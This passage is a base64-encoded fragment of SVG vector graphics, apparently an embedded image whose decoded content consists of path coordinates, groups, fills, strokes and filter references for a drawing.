GF0aCBkPSJtLTUyLjAwMyA4NC4xNTUtMS4zNjc0IDEuNjk4OSIvPgoJCQk8cGF0aCBkPSJtLTUwLjg0MyA4NC44NTktMS4zNjc0IDEuNjk4OSIvPgoJCQk8cGF0aCBkPSJtLTQ5Ljk5MyA4NS4zNTctMS4yMDE2IDEuNzE5NiIvPgoJCQk8cGF0aCBkPSJtLTU0LjU5MiA4My4zMDYgMC42MjE1NCAwLjgyODcxIDEuMjIyNCAwLjk5NDQ3IDEuMjAxNiAwLjcyNTEzIDAuOTMyMzEgMC40MzUwNyAwLjg0OTQ0IDAuMTY1NzQiLz4KCQk8L2c+CgkJPGcgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yMzQ0cHgiPgoJCQk8cGF0aCBkPSJtLTUzLjkwOSA4Mi42NDMgMC44NDk0NCAwLjY4MzY4LTAuNzY2NTcgMC44NzAxNC0wLjc4NzI4LTAuODQ5NDJ6Ii8+CgkJCTxwYXRoIGQ9Im0tNTIuMDAzIDg0LjEzNCAxLjE4MDkgMC43MjUxMi0wLjc4NzI4IDAuOTUzMDQtMS4wOTgtMC42NjI5N3oiLz4KCQkJPHBhdGggZD0ibS00OS44ODkgODUuMzM2cy0wLjc4NzI4IDAuOTMyMjktMC43MDQ0MSAwLjkzMjI5YzAuMDgyOCAwIDAuODQ5NDMgMC4xNjU3NCAwLjg0OTQzIDAuMTY1NzRsMC40NzY1MS0wLjgyODd6Ii8+CgkJCTxwYXRoIGQ9Im0tNTMuODg4IDg0LjIzOCAxLjE4MDkgMC44NDk0My0wLjY4MzY5IDAuNzQ1ODUtMS4wODc3LTAuOTUzMDJ6Ii8+CgkJCTxwYXRoIGQ9Im0tNTEuNjA5IDg1LjkzNy0wLjY0MjI2IDAuNjQyMjYgMS4xMzk1IDAuMzkzNjMgMC40OTcyMy0wLjY4MzY5eiIvPgoJCTwvZz4KCQk8cGF0aCBkPSJtLTQ5LjI1NyA4MS45OTJjMC44MDkxIDAuMzU2OTUgMC4wNzIgMi4wODI2LTAuMzQ5MzYgMi4yMDk5LTAuMTQxMjggMC4xMDQwMS0wLjU1ODEzIDAuMDE1LTAuNzEwMyAwLjA0NDkgMC4wMjk5IDAuMDk2MyAwLjMzMzYgMC4xNDcxNyAwLjQzOTQgMC4xODE2OSAwLjE3OTYxIDAuMDQ1NiAwLjQ5NTc3LTAuMDQ1MiAwLjYxOTc5LTAuMTgyOTQgMC4yNDExNi0wLjIxMzI2IDAuMzk2NzctMC41MTQ2MSAwLjQzNzAyLTAuODMzNDcgMC4wNjgxLTAuMzE2NTQgMC4xNTA5OS0wLjYyOTY5IDAuMjIxMTMtMC45NDU3OC0wLjA4MDQtMC4yNDc5Ni0wLjMzMjEyLTAuNTMxNjYtMC42MTIxMS0wLjUwOTc4LTAuMDI1Ny0zLjdlLTQgLTAuMDIxMSAwLjA0MzMtMC4wNDU1IDAuMDM1NXoiIGZpbGw9IiM2MTVmNjEiIGZpbGwtb3BhY2l0eT0iLjc3Njg2Ii8+CgkJPGcgZmlsbC1vcGFjaXR5PSIuNjU3MDIiPgoJCQk8cGF0aCBkPSJtLTU1Ljg3NyA4Ni4yODljMC4zODA1OSAwLjUwMDYgMC4wMzM5IDAuMzYxMjcgMC41NTkzOCAwLjY4MzctMC44MjgyMSAwLjkxMjA2LTAuNzM1ODQgMC44OTA4OC0xLjU5NTMgMS41MzMxLTAuNTEyNDItMC40ODcyLTAuMTA0MTEtMC4xMjIzMy0wLjMzMTQ4LTAuNzY2NTZsMC4zNTIyLTAuNDc2NTF6IiBmaWxsPSIjY2NjIi8+CgkJCTxwYXRoIGQ9Im0tNTcuMTIgODguMjE2LTAuNDk3MjMgMS42NTc0IDAuMzkzNjMtMC4xNjU3NC0wLjY0MjI1IDEuMzI2IDAuNzA0NDEtMC40MzUwOS0xLjQwODggMi4zODI2IDAuODkwODctMC42NjI5OS0wLjgwOCAxLjkyNjggMi41NjktMi4zMjA0LTAuNzg3MjggMS40NzEgMS40OTE3LTIuMTU0Ny0wLjEyNDMgMS4xMTg4IDAuNjQyMjUtMS42MTYtMC4wODI4IDAuODI4NzMgMC40NzY1MS0xLjM0NjctMC45OTQ0NS0wLjM1MjIxLTAuNjgzNy0wLjQxNDM2LTAuNjAwODItMC42NDIyNXoiIGZpbGw9IiNkN2Q0MTUiLz4KCQkJPHBhdGggZD0ibS01NS44NzcgODYuMjY4IDAuNjIxNTMgMC43NjY1NyAwLjc4NzI4IDAuNDM1MDkgMC44Mjg3MyAwLjQ3NjUtMS4wNTY2LTAuMTI0My0wLjkxMTU5LTAuMDYyMi0wLjgwOC0wLjEwMzU4LTAuNzA0NCAwLjI2OTMzLTAuMDQxNS0wLjM1MjIxIDAuNDM1MDgtMC4zMzE0OCAwLjUxNzk0LTAuNjQyMjd6IiBmaWxsPSIjY2NjIi8+CgkJPC9nPgoJCTxwYXRoIGQ9Im0tNTYuNjY5IDg4Ljg2Ni0wLjI5NzY2IDAuNjExODVoMC4zMzA3M2wtMC4zOTY4NyAwLjgyNjgzIDAuNDYzMDItMC4xMTU3Ni0wLjcyNzYxIDEuNjM3MSAwLjQyOTk1LTAuMzE0MTktMC41NDU3IDEuMTc0MSAxLjUwNDgtMS40NTUyLTAuMDE2NSAwLjQ2MzAyIDAuNjExODUtMS4wNDE4IDAuMTE1NzUgMC41MTI2MyAwLjQxMzQxLTAuOTQyNTggMC4xODE5IDAuMzE0MiAwLjA5OTItMC4zOTY4OC0wLjk1OTExLTAuNTc4NzctMC43NjA2OC0wLjUyOTE3eiIgZmlsbD0iI2ZmZTY4MCIvPgoJCTxwYXRoIGQ9Im0tNTAuMDgzIDgyLjEzYzAuNjY4MTUtMC4zMjIwNCAxLjU5MzEtMC4zMjE3NyAxLjM5MDEgMC42ODcxMS02ZS0zIDAuNjU1MTgtMC4zNzM1OCAxLjY1NDMtMS4xNDYxIDEuNjM3NS0xLjQ1MTUtMC4yNjg3Ni0xLjQwNTgtMS43MjE5LTAuMjQzOTYtMi4zMjQ2eiIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4wNDI1MiIvPgoJCTxnPgoJCQk8cGF0aCBkPSJtLTU0LjkwMyA5MC4wMThjMC4zOTE3OS0wLjkwODkxIDEuMDc0OS0xLjc4ODYgMS42MjE2LTIuNjIxOSAxLjAwODQtMC4zODg4OSAxLjkyMTktMC45OTQ1MyAyLjY4MTYtMS43NjA3IDAuNDc4NDMtMC40NDc2IDAuODI4MjMtMS4wMjEgMS4xNTI0LTEuNTg0OSAwLjMxMTEyLTEuMDYxNyAwLjgyMzgyLTIuMDQxNCAxLjM3NzYtMi45OTM0IDAuMzg0NDQtMC44NTIwOCAwLjQ4NTQ5LTEuODEzOSAwLjk4MTM3LTIuNjIyOSAwLjEwNDU3LTAuMTE0NjQtMC4xMjU1OCAwLjgyODkzLTAuMTc2OCAxLjEzMDUtMC4xNDM3IDAuNTI1OTEtMC4xNDkxNSAxLjE2MDEtMC4yODE3MyAxLjY5LTAuMTg3NjggMC43NTAxLTAuNTA1MzIgMS4zOTUtMC43NTE4NyAyLjEyNjMtMC40MDgzNyAxLjA4Ni0wLjgzNTMgMi4xOTE2LTEuNDk4NCAzLjE0Ni0wLjY1NzU4IDAuNzU5MjMtMS40NjIyIDEuNDM4Ni0yLjQ2ODggMS42NjA1LTAuNjIzNzcgMC4zMDgxNy0wLjc1NTI5IDEuMTI1Mi0xLjA5MzEgMS42OTE3LTAuMTM4MjYgMC4zOTQzMy0wLjIyMDc2IDAuOTM2MDgtMC42ODQwNiAwLjQ3MDM1LTAuMTQxNTctMC4wNzU5LTAuNzE4MjMtMC4yNTU1My0wLjg1OTc5LTAuMzMxNDl6IiBmaWxsLW9wYWNpdHk9Ii4zNzE5Ii8+CgkJCTxnPgoJCQkJPHBhdGggZD0ibS01MC43MjMgODIuOTE0YzAuMTcwNTMtMC4wNDY1IDAuMzY4NjgtMC4wNDU5IDAuNTgxNDYgN2UtMyAwLjA2MjUgMC4wNDc1IDAuMDc1NSAwLjE2ODEgMC4wMjE1IDAuMjQ0OC0wLjA3MDIgMC4wNTYyLTAuMTY3NDMtMC4wNzk5LTAuMjI2MjUtNGUtMyAwLjAxMDcgMC4wMzU1IDAuMTkyMjQgMC4wNjE4IDAuMDk5MSAwLjA4NTItMC4wODk1LTdlLTMgLTAuMTczNTctMC4wNjk4LTAuMjYyNDMtMC4wNTU2LTAuMTE0MzcgMC4wNzA1IDMuNzFlLTQgMC4yMDMzNC00ZS0zIDAuMzAxNDQtNWUtMyAwLjA3NzkgMC4wNDUgMC4xODIwNy00ZS0zIDAuMjQ0NzEtMC4wMjQ4LTAuMTA0MjItMC4wMS0wLjIxNzk0LTAuMDQ3NC0wLjMyMTM2LTAuMDUwNy0wLjA4NDgtM2UtMyAtMC4yMjA5MS0wLjEwNzgtMC4yNzA2My0wLjExNTM3LTAuMDU0MS0wLjI1MzQ5IDAuMDU1NC0wLjIzNTI3IDAuMTc5MiAxZS00IDAuMDY3MS0wLjAyMjMgMC4xMTM5MS0wLjAxOSAwLjAxOTUgMC4wMjAyLTAuMTI4NTkgOWUtMyAtMC4zMDkyMSAwLjEyNTI4LTAuMzg3NTQgMC4wMjY3LTAuMDE0IDAuMDU1MS0wLjAyNTYgMC4wNzk2LTAuMDQzMXoiLz4KCQkJCTxwYXRoIGQ9Im0tNTAuMzU4IDgzLjE0NyAwLjMxMDMyIDAuMDg3MyAwLjAzMzktMC4wMTE0IDAuMDI1NyAzZS0zIDAuMDI5OCAwLjA1MjEtMC4wMzA0LTAuMDM2NXM5ZS0zIDAuMDQ1NCA2ZS0zIDAuMDQyNmMtM2UtMyAtM2UtMyAtMC4wMTg5LTAuMDM3OS0wLjAxODktMC4wMzc5cy01ZS0zIDAuMDM1Mi05ZS0zIDAuMDMzMWMtNGUtMyAtMmUtMyAtMC4wMTM2LTAuMDMwNC0wLjAxMzYtMC4wMzA0cy03ZS0zIDAuMDMyNC05ZS0zIDAuMDI5OGMtMmUtMyAtM2UtMyAtMC4wMTg5LTAuMDMxMS0wLjAxODktMC4wMzExbC0wLjAxMzYtMmUtMyAtNWUtMyAwLjAxMDItMmUtMyAwLjAyMDMgNGUtMyAwLjAyNjQgMC4wMTIxLTAuMDI5MXMwLjAyMjkgMC4wNTQ4IDAuMDI4NCAwLjA1MjFjNWUtMyAtM2UtMyAzZS0zIC0wLjA0MTMgM2UtMyAtMC4wNDEzbDAuMDE0OSAwLjA0OHMwLjAxMDItMC4wNTg4IDllLTMgLTAuMDU0N2MtNi42MWUtNCA0ZS0zIDRlLTMgMC4wNjYzIDRlLTMgMC4wNjYzbDAuMDE5Ni0wLjAzMjQtMC4wMTYyIDAuMDQ5My0wLjAyOTEtMmUtMyAtMC4wNDA2LTAuMDMzOC0wLjAyNzctMC4wMzE4LThlLTMgLTAuMDMyNC0wLjA1NDEtMC4wMjE2LTAuMTEzNTgtMC4wMzkyLTAuMDk5NC0wLjAzNTJ6Ii8+CgkJCQk8cGF0aCBkPSJtLTUwLjE2IDgzLjIzNGMwLjAyNjkgMC4wMjY2IDAuMDM0OSAwLjA3MTIgMC4wMTcxIDAuMTA1MDEtMC4wMTUyIDAuMDEwNi0wLjAyNjcgMC4wNTMyIDRlLTMgMC4wNDU2IDAuMDI0OS02ZS0zIDJlLTMgLTAuMDM1NyA4ZS0zIC0wLjA1MjcgM2UtMyAtMC4wMzA3LTNlLTMgLTAuMDYxOS0zZS0zIC0wLjA5MTEtOWUtMyAtMmUtMyAtMC4wMTc5LTRlLTMgLTAuMDI1OS03ZS0zeiIvPgoJCQk8L2c+CgkJPC9nPgoJCTxwYXRoIGQ9Im0tNDcuMTEzIDc4LjQ3OC0xLjU3NDYgMS40OTE3LTEuNjE2IDEuMzg4MS0xLjA3NzMgMC45MzIzMi0xLjIwMTYgMS40NTAyLTEuMzI2IDEuNzE5Ni0wLjQ3NjUxIDEuMDM1OS0wLjI5MDA1IDAuNzY2NTYtMC41ODAxMSAwLjcyNTE0LTEuMjg0NSAxLjExODgtMC44MDc5OS0xLjIwMTYgMC4yNjkzMy0wLjQ3NjUgMS4yNDMxLTEuMTYwMiAwLjE0NTAzLTEuMjAxNiAwLjU4MDExLTEuMjYzOCAxLjM0NjctMS4zMDUyIDEuOTI2OC0xLjQ5MTcgMi4xNTQ3LTEuNDI5NSAyLjIzNzUtMS4wMTUyeiIgZmlsbD0iI2NjYyIgZmlsbC1vcGFjaXR5PSIuNTM3MTkiLz4KCQk8Zz4KCQkJPHBhdGggZD0ibS01MC44MzEgODMuMTQ1YzAuMDI5NyAwLjA4MzkgMC4wNTgxIDAuMTY5ODQgMC4wNTIzIDAuMjYwMDIgMC4wMTE1IDAuMTM2MjItOGUtMyAwLjI3MTYyLTAuMDIzNyAwLjQwNjQ3LTNlLTMgMC4wNDc2IDAuMDE0MiAwLjA4MTEgMC4wMjAxIDAuMDEyIDAuMDM4NS0wLjE0NDEgMC4wMTktMC4yOTQ0IDAuMDQzNC0wLjQ0MDU2IDAuMDUzNC0wLjA5OSAwLjE1NzcgMC4wNTA3IDAuMTEzMjUgMC4xMTcwNC0wLjAxODMgMC4xMDk1NC0wLjAyMzQgMC4yMjE1NC0wLjAxNTkgMC4zMzIyNSA0ZS0zIDAuMDQ3NyAwLjAyMDQgMC4xNDgxOCAwLjAyMzEgMC4xNjE5Mi0wLjAxMTMtMC4xMjAyNi0wLjAyMTMtMC4yNDIyNiA1ZS0zIC0wLjM2MTM0IDRlLTMgLTAuMDg2MSAwLjA1MTYtMC4xNzcwOCAzZS0zIC0wLjI1NjY4LTAuMDM2Mi0wLjA5MjQtMC4wNjczLTAuMTg2NjEtMC4xMDExMy0wLjI3OTg4LTAuMDM5OSAwLjAxNjItMC4wNzk2IDAuMDMyOC0wLjExOTQ2IDAuMDQ4N3oiLz4KCQkJPHBhdGggZD0ibS01MC44NDIgODMuNDA4IDAuMTI3MTEgMC4wMjk4IDAuMDQ4NiAwLjA3MDMgMC4wMjctMC4wNjc2IDAuMDk0Ny0wLjA2MjIgMC4wMTA4IDAuMDIxNi0wLjA5NDcgMC4wNjQ5LTAuMDQ4NiAwLjEwODE3LTAuMDU5NS0wLjExODk5LTAuMDk0Ny0wLjAyNDQtMC4wMjQ0LTAuMDI0NHoiLz4KCQkJPHBhdGggZD0ibS01MC44NDMgODMuNTAyIDAuMTI3MTEgMC4wMjk4IDAuMDQ4NiAwLjA3MDMgMC4wMjctMC4wNjc2IDAuMDk0Ny0wLjA2MjIgMC4wMTA4IDAuMDIxNi0wLjA5NDcgMC4wNjQ5LTAuMDQ4NiAwLjEwODE2LTAuMDU5NS0wLjExODk4LTAuMDk0Ny0wLjAyNDQtMC4wMjQ0LTAuMDI0NHoiLz4KCQkJPHBhdGggZD0ibS01MC44NTEgODMuNjA4IDAuMTI3MSAwLjAyOTggMC4wNDg2IDAuMDcwMyAwLjAyNy0wLjA2NzYgMC4wOTQ3LTAuMDYyMiAwLjAxMDggMC4wMjE2LTAuMDk0NyAwLjA2NDktMC4wNDg2IDAuMTA4MTctMC4wNTk1LTAuMTE4OTktMC4wOTQ3LTAuMDI0NC0wLjAyNDQtMC4wMjQ0eiIvPgoJCQk8cGF0aCBkPSJtLTUwLjU0NCA4My4xOTdjLTAuMDE1MyAwLjA0NjctMC4wNTk5IDAuMTEzODUtNGUtMyAwLjE1MDcyIDAuMDYzMiAwLjA0MDEgMC4xMzU2NSAwLjA3MyAwLjE3NTE5IDAuMTQwNTQgMC4wMzc2IDAuMDUwMSAwLjA5MTcgMC4xMTM3NiAwLjA1NzIgMC4xNzk2LTAuMDMxNCAwLjA2NTUtMC4wMjQ2IDAuMTUwNzggMC4wMjU3IDAuMjA1MjMgMC4wMTkgMC4wNjA2IDAuMDcxMSAwLjExNzI1IDAuMTM5NjEgMC4xMDgyNyAwLjAzNDggOWUtNCAwLjEyNDY1IDAuMDU5NSAwLjA4NiAwLjA4MzItMC4wNDExLTAuMDI0OS0wLjA3NTMtMC4wNzU5LTAuMTMwNDItMC4wNjMyIDAuMDE3NiAwLjA0MjkgMC4wODcgMC4wNzAzIDAuMTIwMjUgMC4xMTE3NyAwLjA0MSAwLjAxNzQgMC4wMTMzIDAuMTM0OTItOWUtMyAwLjA2MjQtMC4wMS0wLjA1ODItMC4wNjc0LTAuMDgyLTAuMTA2MTItMC4xMTc1OC0wLjAyMzgtMC4wMjE1LTAuMDYxNC0wLjA0NDMtMC4wMjA3LTVlLTMgMC4wMzIzIDAuMDMwMyAwLjA5MzMgMC4xMTA0MiAwLjA2MTEgMC4xMzc2MS0wLjAyOS0wLjAzNjEtMC4wNy0wLjExMjkyLTAuMDkzNC0wLjEyNDQyIDAuMDI4MiAwLjA0OTUgMC4wNDQzIDAuMTExNDMgMC4wMTc0IDAuMTY1MTUtMC4wMTc5LTAuMDUxLTAuMDIwMS0wLjEzNDk2LTAuMDUtMC4xOTM3NS0wLjAzMjYtMC4wOTE0LTAuMDc0MS0wLjE4MDItMC4xMDQwNy0wLjI3MjA1LTAuMDE2Ni0wLjA2NjUgMC4wNTc2LTAuMTMxNDUgMC4wMjAyLTAuMTkxNjUtMC4wNTE0LTAuMDQ3MS0wLjEzNjQ1LTAuMDUwMi0wLjE3Mzg1LTAuMTEzODMtOWUtMyAtMC4wNzItMC4wNjE2LTAuMTUyMjMtMC4wNDYxLTAuMjE4MjYgMC4wMTE0LTAuMDE0OSAwLjAyMjktMC4wMjk3IDAuMDM0NC0wLjA0NDV6Ii8+CgkJPC9nPgoJCTxjaXJjbGUgY3g9Ii01MC4yOSIgY3k9IjgzLjAxOCIgcj0iLjA0MDYzNiIgZmlsbD0iIzk5OSIvPgoJCTxjaXJjbGUgY3g9Ii01MC4yNTciIGN5PSI4My4wMzciIHI9Ii4wMzI1MDgiLz4KCQk8cGF0aCBkPSJtLTU5LjE2NiA4NS42NzRjLTEuNjIzNyAyLjA1NTQtMy4wNjAzIDQuNDkwNi0yLjg4MjQgNy4yMDYxLTAuMzA2OTEgMi4wOTg0IDAuMTQ4MjQgNC40MzY3IDEuOTM0MyA1Ljc2OSAxLjM5NjggMS4zMTc5IDQuMjQyOSAwLjkxODcyIDUuMzc3MiAxLjIwNTItMy43NzE0IDEuNzc1LTguNDI5MS0wLjQzNzE4LTEwLjI3LTMuOTYxLTEuNDU4Ny0yLjg1NzYtMC4zMTMxNC02LjU5MDYgMi4wNTM4LTguNjA3NiAxLjA5NDItMC44NDUxOSAyLjQwMzctMS40NTcgMy43ODY2LTEuNjExNnoiIGZpbGw9IiMwMGYiIGZpbGwtb3BhY2l0eT0iLjgyMjMxIiBmaWx0ZXI9InVybCgjYSkiLz4KCQk8cGF0aCBkPSJtLTUwLjYxOSA4Ny45NDJjLTAuMDE2NC0wLjA1MzYgMC4wMzEzLTAuMTQ3NjEgMC4xMzQxMy0wLjE4OTM5IDAuMTEzMzQtMC4wMTExIDAuMTI1MzQtMC4wMTY0IDAuMjAwMDcgMC4wMTc1IDAuMDczNSAwLjAxNzIgMC4xMTIyMSAwLjEyNjkxIDAuMTM1NjEgMC4xODM3MyAwLjAxNTggMC4xMjI2NC0wLjA2ODkgMC4xMjU0NS0wLjExNTUyIDAuMTgyMjEtMC4wNjQ1IDAuMDI1NS0wLjE1Njk3IDAuMDg5Ny0wLjIyMDg5IDAuMDM2NS0wLjA2NC0wLjA2NDgtMC4wNzUxLTAuMDcxMi0wLjExODk4LTAuMTQ5MDJ6IiBmaWxsPSIjZjJmMmYyIi8+CgkJPGc+CgkJCTxwYXRoIGQ9Im0tNDkuOTcxIDg4LjI1MmgtMC4xNDRsLTAuMTcwMTggMC4wOTE2IDAuMzQ2OTEgMC4wMTMgMC4xMTEyNyAwLjE0NCAwLjQ3MTI3LTAuMDcyIDAuMzUzNDUtMC4xMDQ3Mi0wLjAyNjItMC4zNDAzNy0wLjE1MDU1LTAuMTgzMjYtMC4yNjE4MSAwLjI4MTQ0eiIgZmlsbD0iI2NjYyIvPgoJCQk8cGF0aCBkPSJtLTUwLjU3NyA4Ny45MzMgMC4wNTI2LTAuMTA5NjIgMC4xMTY5My0wLjAzOTQgMC4wNzg5IDAuMDExNiAwLjEwMjMyIDAuMDU0MS0wLjA3NzUtMC4wMTYxLTAuMTE0MDEgMC4wMjA0LTAuMDc3NSAwLjAzOTV6IiBmaWxsPSIjZmZmIi8+CgkJCTxwYXRoIGQ9Im0tNDguNjAyIDg2LjMzNSAwLjA4NDggMC4xNjY2NCAwLjAyOTIgMC4xODcwOC0wLjA5MDYgMC4wNjQzLTAuMjg2NDggMC4wMzIyLTAuMzYyNDkgMC4zMTU3LTAuMDcwMiAwLjE4NDE4IDAuMDI2MyAwLjI4MDYxLTAuMTY2NjIgMC4yMTA0OC0wLjIwNDYzIDAuMTE0MDEtMC4wODQ4LTAuMjA0NjMtMC4wMjM0IDAuNDIwOTUgMC4yNjMwOS0wLjEwODE2IDAuMjIyMTctMC4xNjY2MSAwLjE3NTM5LTAuMTU3ODctMC4wNjcyLTAuNTM0OTQgMC4yOTUyNS0wLjI4MDY0IDAuNDY0OC0wLjA2MTQtMC4wMzIyLTAuMzE1NzJ6IiBmaWxsPSIjODA4MDgwIi8+CgkJCTxwYXRoIGQ9Im0tNDkuNzg2IDg4LjM5NWMtMC4wMTQ1LTAuMDE4NS0wLjEyNjA5LTAuMzAzODUtMC4xMjYwOS0wLjMwMzg1bDAuMjg1MjUtMC4wNzY1IDAuMTk0MzEtMC4xMjQwMSAwLjEzMDIyLTAuMTA3NSAwLjE0Njc2IDAuMTQwNTggMC4wNjgyIDAuMzM4OTgtMC4zMjAzOSAwLjA5NTF6IiBmaWxsPSIjZTZlNmU2Ii8+CgkJCTxwYXRoIGQ9Im0tNDguODU2IDg1Ljk0N2M0ZS0zIDAuMDI0OSAwLjA4MjcgMC4xNjEyMyAwLjA4MjcgMC4xNjEyM2wtMC4xNTI5NiAwLjE3Nzc4LTAuMzM5IDAuMTI4MTYtMC4wOTEgNGUtMyAwLjA0MTMgMC4xMDMzNS0wLjExNTc2IDAuMjIzMjYtMC4yMTQ5NyAwLjIzNTYzaC0wLjA2MmwwLjExOTg5IDAuMTE1NzYgMC4wMjg5IDAuMjc2OTktMC4xMzIyOSAwLjExOTg4LTAuMTMyMjktMC4xODYwMiA4ZS0zIDAuNDUwNjEgMC4wNzg2LTAuMjA2NzJoMC4xMDMzNWwwLjEzMjI5LTAuMDk5MiAwLjEyODE2IDAuMDk1MS0wLjE0MDU2LTAuMjE5MS0wLjAzNzItMC4zMDE3OCAwLjMxMDA2LTAuNTE2NzkgMC40MzgyMi0wLjIyNzM2IDAuMDk5Mi0wLjI0ODA0LTAuMTMyMjktMC4xMTU3NnoiIGZpbGw9IiM4MDgwODAiLz4KCQk8L2c+CgkJPGcgZmlsbD0iI2NjYyI+CgkJCTxwYXRoIGQ9Im0tNDkuODIgODguMTE0IDAuMTAzNzggMC4yNDcwMiAwLjExNDAxLTAuMDEzMi0wLjEwMjM1LTAuMjYzMDd6Ii8+CgkJCTxwYXRoIGQ9Im0tNDkuNjU1IDg4LjA3MSAwLjEwMzc4IDAuMjQ3MDIgMC4xMTI1NC0wLjAxMzItMC4xMDA4NS0wLjI2MzA3eiIvPgoJCQk8cGF0aCBkPSJtLTQ5LjQ5NCA4OC4wMDQgMC4xMDgxNiAwLjMwMjU2IDAuMTA4MTYtMC4wMzgtMC4xMDk2Mi0wLjM0MzQ2eiIvPgoJCQk8cGF0aCBkPSJtLTQ5LjM1MSA4Ny44OTUgMC4xMTY5NCAwLjM1NTE4IDAuMDk5NC0wLjAzMDctMC4xNDYxMi0wLjM2Njg0eiIvPgoJCTwvZz4KCQk8cGF0aCBkPSJtLTUwLjQ4NSA4OC4zMDggMC4xNjk1IDAuMDQ1NWgwLjExMTYybDAuMTYxMjMtOGUtMyAwLjA5MS00ZS0zIDAuMTI4MTYgMC4xNDg4MyAwLjQ5MTk2LTAuMDY2MSAwLjMxODMzLTAuMDk5Mi0wLjAxNjUtMC4zNDMxNC0wLjE1ODA1LTAuMTYzMzktMC4wMzg0IDAuMDM1Ny0wLjAzNjUtMC4wMzIzIDAuMTY2MzYtMC4xNTU0LTAuMDYxNS0wLjUyNzk2IDAuMjkyMzEtMC4yODMwNyAwLjQ2NDI0LTAuMDYwMS0wLjAzMzEtMC4zMTgzNSAwLjAzNzIgMC4wMjA2IDAuMDI4OSAwLjMzODk4LTAuNTA0MzYgMC4wNjItMC4yNTYzMiAwLjI1MjE4IDAuMDYyIDAuNTE2NzUtMC4wOTUxIDAuMTExNjMgMC4xNjk1IDAuMjA2NzItNGUtMyAwLjM3NjE5LTAuMzcyMDcgMC4xMTE2Mi0wLjQ1ODg4IDAuMDY2Mi0wLjExOTg5LTAuMTU3MDgtMC4yNjA0NSA0ZS0zIC0wLjE1NzEtOGUtM3oiLz4KCQk8cGF0aCBkPSJtLTQ5LjUwOSA4Ny4zMzItMC4wNTM3LTAuMjk3NjYgMC4zMTYzNy0wLjUzMTExIDAuNDM2LTAuMjE2NDEgMC4wOTkyLTAuMjQ4NzktMC4xMzIyNC0wLjEyNDA0IDAuMTYyNjQgMC4xMjMwNy0wLjA5NjUgMC4yNjU1NS0wLjQzNDA4IDAuMjIzMjMtMC4zMDU5MiAwLjUwODV6Ii8+CgkJPHBhdGggZD0ibS01MC4zNTUgODcuOTA4YzAuMDI4NCAwLjAxNzUgMC4wNDk2IDAuMDQzOSAwLjA2ODEgMC4wNzAzIDhlLTMgNGUtMyAwLjAxNjQgNWUtMyAwLjAyNDEgOWUtMyIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjNjY2IiBzdHJva2Utd2lkdGg9Ii4wMSIvPgoJCTxnPgoJCQk8Y2lyY2xlIGN4PSItNTAuNDY4IiBjeT0iODcuOTYxIiByPSIuMDE2ODA5IiBmaWxsPSIjZWNlY2VjIiBzdHJva2U9IiM5OTkiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHN0cm9rZS13aWR0aD0iLjAxIi8+CgkJCTxjaXJjbGUgY3g9Ii01MC40MTIiIGN5PSI4OC4wNDciIHI9Ii4wMTY4MDkiIGZpbGw9IiNlY2VjZWMiIHN0cm9rZT0iIzk5OSIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIgc3Ryb2tlLXdpZHRoPSIuMDEiLz4KCQkJPHBhdGggZD0ibS01MC4zNTkgODguMTY5bDAuMDY3Mi0wLjA0NTNjMC4wMTEzLTAuMDIwNyAwLjAyNzQtMC4wMzggMC4wNTIxLTAuMDQwNiAwLjAyNjctMC4wMTE1IDAuMDY2MiAwLjAxNzQgMC4wNDc1IDAuMDQ1Ni0wLjAyMzMgMC4wMjEzLTAuMDU0NyAwLjAzMTctMC4wODYzIDAuMDI5aC0wLjA1MTFjLTAuMDEgNGUtMyAtMC4wMjA1IDllLTMgLTAuMDI5NCAwLjAxMTN6IiBmaWxsPSIjOTk5Ii8+CgkJPC9nPgoJCTxwYXRoIGQ9Im0tNTIuMTg4IDg4Ljg4MmMwLjE5MDU4IDAuODM2OTggMC41OTQyMyAxLjY0NTggMC40ODAwOCAyLjUyMTEgMC4wMjQ1IDEuMDA1LTAuMjIyNTIgMS45OTQ5LTAuNTI4NDYgMi45NDM5LTAuNDU4NDUgMC44OTYwOC0wLjgzMzMxIDEuODQ0Ni0xLjQ5MTIgMi42MjE0LTAuMzM0OTQgMC41NzE5MS0wLjgyMDcgMC45OTcyMy0xLjM3NjMgMS4zNDYxLTAuNzE3NjkgMC40NzkzMy0xLjQwMzUgMS4wNDM4LTIuMjAwMSAxLjM3OTctMC43MjE5IDAuMTg2MTEtMS40NDc0IDAuMzYyNzYtMi4xOTc2IDAuMzY0NTUtMC4zMzg5MSAwLjAyLTAuNzY5OTIgMC4wMzM5LTAuMTIyNzggMC4wOTcgMC44OTE2NyAwLjE1MjA4IDEuNzg1OSAwLjMzNjggMi42OTI3IDAuMjExOTMgMC44ODExMiAwLjAzOTcgMS42NDU2LTAuNDUyOTYgMi40NTYyLTAuNzI1OTIgMC44Mzk2Ny0wLjM2MjM4IDEuNDcyMi0xLjA4NDIgMi4yMDQ2LTEuNjIzOCAwLjU1Nzg0LTAuOTEwNjQgMS4yNzMtMS43NDY2IDEuNTQyLTIuODAxMyAwLjMzNzA1LTAuNzI4MTcgMC40NjAxOS0xLjQ5NzggMC40MTcxMi0yLjI5NTMgMC4wNjI1LTAuODYyMjUtMC4yNzk4OC0xLjY4LTAuNDgyOTktMi41MDQ4LTAuNDIwNC0wLjQ5NzY4LTAuNDY5MDgtMS41NDg0LTEuMjQ0NS0xLjUxNzlsLTAuMTQ4ODMtMC4wMTY1eiIgZmlsbD0iI2FhZiIgZmlsbC1vcGFjaXR5PSIuNzY0NDYiIGZpbHRlcj0idXJsKCNiKSIvPgoJCTxwYXRoIGQ9Im0tNTUuOTE3IDg2LjI5NmMwLjA0MDktMC43MzU5MyAwLjI2OTAyLTEuNDQwOSAwLjYyNjYxLTIuMDgwOCAxLjg2MTQtMi44NzE5IDUuNTI5Ni00LjUxOTQgOC4xOTkyLTUuODMzNS0wLjM0MDI0IDIuNTQ0NS0xLjExMzMgNS4xNjk2LTIuMTg3MSA3LjI2MjMtMC41NzU5NiAxLjAyOTctMS41NTkyIDIuMTM4OC0yLjYwOTUgMi4zOTIyLTAuNTYzMzkgMC4xNDQ0NS0xLjA1NTMgMC4zNjEzOS0xLjEzOTEgMC45OTE4OC0wLjE4OTkxIDAuNDg0MjgtMC4zNzk4MiAwLjk2ODU2LTAuNTY5NzUgMS40NTI4LTEuNDA3NC0wLjI2MTk0LTQuNjcxMi0yLjM4MzYtMy4zMz